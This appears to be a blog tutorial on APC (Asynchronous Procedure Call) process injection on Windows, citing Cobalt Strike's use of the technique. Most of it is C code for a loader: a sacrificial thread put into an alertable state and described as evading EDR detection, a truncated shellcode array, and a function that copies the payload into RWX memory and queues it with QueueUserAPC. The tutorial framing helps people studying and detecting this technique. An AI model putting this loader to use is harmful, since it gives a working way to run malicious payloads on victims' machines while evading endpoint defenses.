Today, I am giving a small tutorial which will discuss about APC (Asynchronous Procedur Calls). The reason that I sharing this tutorial is due to its simple implementation and also this is one of the technique which is used by CobaltStrike to inject the payload mentioned in the following url https://www.cobaltstrike.com/blog/cobalt-strikes-process-injection-the-details-cobalt-strike
What is APC ?
Asynchronous Procedure Call (APC) is a Windows mechanism that enables programs to execute tasks asynchronously while continuing to execute other tasks. APC operates in kernel mode and is executed in the thread context of a specific thread. This mechanism can be utilized to queue our payload for execution.
The API (QueueUserAPCÂ )
The windows API that we are going to utilize is the QueueUserAPC. There are 3 parameters that we need to supply prior calling the API. https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-queueuserapc
DWORD QueueUserAPC(
[in] PAPCFUNC pfnAPC,
[in] HANDLE hThread,
[in] ULONG_PTR dwData
);
pfnAPC : The address of the APC function to be called.
hThread : A handle to an alertable thread or suspended thread.
dwData : If the APC function requires parameters, they can be passed here. This value will be NULL in this module’s code.
If we read carefully the documentation from the microsoft, The thread requires specific state in order to be queued with APC.
“When a user-mode APC is queued, the thread is not directed to call the APC function unless it is in an alertable state.”
This can be done by creating a thread and using one of the following WinAPIs:
Sleep
SleepEx
MsgWaitForMultipleObjects
MsgWaitForMultipleObjectsEx
WaitForSingleObject
WaitForSingleObjectEx
WaitForMultipleObjects
WaitForMultipleObjectsEx
SignalObjectAndWait
In order to invoke the QueueUserAPC function, it is essential to have a thread created. The thread must be in an alertable state, which requires the invocation of at least one of the listed APIs. It is possible to designate a sacrificial thread that points to a valid code, ultimately leading to the invocation of the API, as illustrated below.
VOID simpleFunction() {
HANDLE hEvent1 = CreateEvent(NULL, NULL, NULL, NULL);
HANDLE hEvent2 = CreateEvent(NULL, NULL, NULL, NULL);
printf("This is legitimate function which will not do anything harm to evade EDR detection")
if (hEvent1 && hEvent2) {
SignalObjectAndWait(hEvent1, hEvent2, INFINITE, TRUE);
CloseHandle(hEvent1);
CloseHandle(hEvent2);
}
}
int main(){
unsigned char Payload[] = {
0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8....
};
HANDLE hThread = NULL;
DWORD dwThreadId = NULL;
hThread = CreateThread(NULL, NULL, &simpleFunction, NULL, NULL, &dwThreadId);
if (hThread == NULL) {
printf("CreateThread Failed With Error : %d \n", GetLastError());
return FALSE;
}
printf("Created With Id : %d \n", dwThreadId);
if (!RunViaApcInjection(hThread, Payload, sizeof(Payload))) {
return -1;
}
WaitForSingleObject(hThread, INFINITE);
printf("[#] Press <Enter> To Quit ... ");
getchar();
return 0;
}
The Payload Injection
Once the thread with alertable state is craeted, it can be injected into the APC queue to execute our payload. The following function can be utilized to inject the thread with the malicious payload:
BOOL RunViaApcInjection(IN HANDLE hThread, IN PBYTE pPayload, IN SIZE_T sPayloadSize) {
PVOID pAddress = NULL;
DWORD dwOldProtection = NULL;
pAddress = VirtualAlloc(NULL, sPayloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pAddress == NULL) {
printf("\tCreating memory space for payload is failed : %d \n", GetLastError());
return FALSE;
}
memcpy(pAddress, pPayload, sPayloadSize);
printf("\t[i] Payload Written To : 0x%p \n", pAddress);
if (!VirtualProtect(pAddress, sPayloadSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
printf("\tChanging Memory to RWX is failed : %d \n", GetLastError());
return FALSE;
}
if (!QueueUserAPC((PAPCFUNC)pAddress, hThread, NULL)) {
printf("\t[!] QueueUserAPC Failed With Error : %d \n", GetLastError());
return FALSE;
}
return TRUE;
}
With the above function, The thread that we have which initially to run the legitimate function then it is now pointed to the memory range that contain of our payload.